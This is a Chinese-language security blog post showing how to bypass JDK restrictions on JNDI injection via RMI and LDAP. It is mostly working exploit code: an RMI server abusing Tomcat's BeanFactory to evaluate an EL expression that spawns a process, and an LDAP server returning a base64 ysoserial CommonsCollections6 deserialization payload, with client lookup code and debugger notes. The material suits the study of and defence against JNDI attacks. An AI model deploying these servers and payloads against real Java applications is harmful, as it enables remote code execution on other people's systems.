0
点赞
收藏
分享

微信扫一扫

Bypass JNDI高版本限制

在觉 2022-01-15 阅读 73

Bypass JNDI高版本限制

老早就知道 JNDI 注入存在高版本限制且有相应的绕过手法了,今天来分析分析绕过高版本限制的两种手法!

前景知识

JNDI 利用 RMI 的版本限制

JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase ,在 JDK 6u132/JDK 7u122/JDK 8u113 以上的版本中这些属性默认为 false ,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

对属性值的检验在 RegistryContext#decodeObject 方法上

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VJaFpaqE-1642250776250)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102161851785.png)]

JNDI 利用 LDAP 的版本限制

JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12 属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase ,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211 以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

对属性值的检验在 com.sun.naming.internal#loadClass 方法上

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VOcx1ISo-1642250776256)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102162459852.png)]

JNDI 利用 RMI 实现 Bypass 高版本限制

仔细分析过 JNDI 利用 RMI 的师傅都知道从 RMI Server 中获取到一个 Reference 之后,会先从本地 Classpath 中加载对应的类,如果找不到才从 Reference.classFactoryLocation 中远程加载对应的类!找到对应类之后通过 Class.forName(className,true) 获取 Class,并实例化后强制转换为 ObjectFactory 类然后调用 ObjectFactory.getObjectInstance 方法!所以我们的恶意代码可以放在 静态代码块/构造方法/getObjectInstance方法中

RMI Server

package com.rmi.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServerBypass2 {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(8999);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

RMI Client

package com.rmi.client;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initial = new InitialContext();
        initial.lookup("rmi://127.0.0.1:8999/payload");
    }
}

JNDI 利用 RMI 实现 Bypass 高版本限制利用的就是 RMI Client 找到类之后会调用其 getObjectInstance 方法,这里利用的是 BeanFactory 类,这个类是存在 Tomcat 包中的,因此攻击范围较广!

BeanFactory.getObjectInstance 中存在一个动态方法调用,通过 RMI Server 的特殊构造可以调用到 javax.el.ELProcessor#eval 方法执行 EL 表达式(具体可看 BeanFactory.getObjectInstance 方法的代码逻辑)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4UHs7XUk-1642250776258)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102164918479.png)]

JNDI 利用 LDAP 实现 Bypass 高版本限制

当 LDAP Server 返回的 BasicAttributes.attrs 中存在 javaserializeddata 字段,则会对这个字段进行反序列化,那么就可以构造 LDAP Server 返回恶意 javaserializeddata 字段,当客户端存在反序列化漏洞的组件时就可以进行RCE!

LDAP Server

package com.ldap.server; /**
 * In this case
 * Server return Serialize Payload, such as CommonsCollections
 * if Client's ClassPath exists lib which is vulnerability version So We can use it
 * Code part from marshalsec
 */
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

public class LDAPServerBypass1 {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    // in this class remove the construct
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = "Exploit";
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
            e.addAttribute("javaClassName", "foo");
            // java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'calc'|base64
            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
                    "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
                    "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
                    "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
                    "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
                    "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
                    "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
                    "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
                    "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
                    "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
                    "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
                    "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
                    "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
                    "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
                    "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
                    "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
                    "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
                    "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
                    "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
                    "AAF0AAtjbWQgL2MgY2FsY3QABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5n" +
                    "LkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIA" +
                    "AHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRo" +
                    "cmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LDAP Client

package com.ldap.client;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

/**
 * codebase: true (means client will not download class from remote Server which is unreliable)
 */
public class JNDIClientBypass1 {
    public static void main(String[] args) throws NamingException {
        Hashtable<String,String> env = new Hashtable<>();
        Context context = new InitialContext(env);
        context.lookup("ldap://127.0.0.1:1389/Exploit");
    }
}

lookup 处下断点,跟进到 LdapCtx#c_lookup ,此处的 var4 就是 LDAP Server 返回的数据,JAVA_ATTRIBUTES[2]javaClassName

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xINk38cq-1642250776259)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102170251590.png)]

继续跟进,JAVA_ATTRIBUTES[4]javaCodeBaseJAVA_ATTRIBUTES[1]javaSerializedData,可以看到这里直接把 javaSerializedData 字段的值进行反序列化

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f0naydfm-1642250776260)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102170640462.png)]

总结

对于 JNDI 利用 RMI 调试可以从 RegistryContext#decodeObject 方法开始跟,对于 JNDI 利用 LDAP 可以从 Obj#decodeObject 方法开始跟,参考下面两篇文章进行学习

Reference:

举报

相关推荐

0 条评论